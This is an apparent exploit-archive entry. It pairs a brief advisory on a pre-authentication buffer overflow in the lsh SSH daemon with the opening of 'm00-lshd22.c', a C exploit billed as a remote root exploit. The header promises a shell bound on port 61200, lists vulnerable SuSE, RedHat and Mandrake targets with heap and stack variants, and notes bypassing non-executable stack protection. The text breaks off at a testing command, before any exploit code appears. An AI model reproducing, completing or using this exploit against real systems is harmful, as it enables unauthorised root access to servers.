lsh has been reported prone to a remote buffer overflow vulnerability. The condition is reported to present itself in fairly restrictive circumstances, and has been reported to be exploitable pre-authentication. Successful exploitation could result in the execution of arbitrary attacker supplied instructions in the context of the affected daemon. 

/* m00-lshd22.c
 *
 *  lshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru
 *
 *  Binds shell on port 61200.
 *  Based on lsh_exploit.c by Haggis aka Carl Livitt // doris.scriptkiddie.net
 *
 *  Available targets:
 *    SuSE 8.1 - LSH v1.4 (heap)
 *    RedHat 7.3 - LSH v1.3.* (stack)
 *    RedHat 7.3 - LSH v1.4 (heap)
 *    RedHat 7.3 - LSH v1.4 (stack)
 *    RedHat 8.0 - LSH v1.4 (heap)
 *    RedHat 9.0 - LSH v1.4 (heap)
 *    RedHat 9.0 - LSH v1.4 (stack)
 *    Mandrake 9.0 - LSH v1.4 (stack)
 *    Mandrake 9.1 - LSH v1.3.* (heap)
 *    Mandrake 9.1 - LSH v1.3.* (heap)
 *    Mandrake 9.1 - LSH v1.3.* (stack)
 *    Mandrake 9.1 - LSH v1.4 (heap)
 *    Mandrake 9.1 - LSH v1.4 (stack)
 *    Mandrake 9.1 - LSH v1.5 (heap)
 *    Mandrake 9.1 - LSH v1.5 (stack)
 *
 *  Difference between heap and stack RET-addresses:
 *    Useing heap retaddr allows to bypass non-execute stack protection,
 *    but possibility of success exploitation is only about 30% :( cuz our
 *    data in heap doesn't have constant disposition.
 *    Stack r0cz ;D
 *
 *  Testing:
 *    sh-2.05b$ ./explshd localhost 12
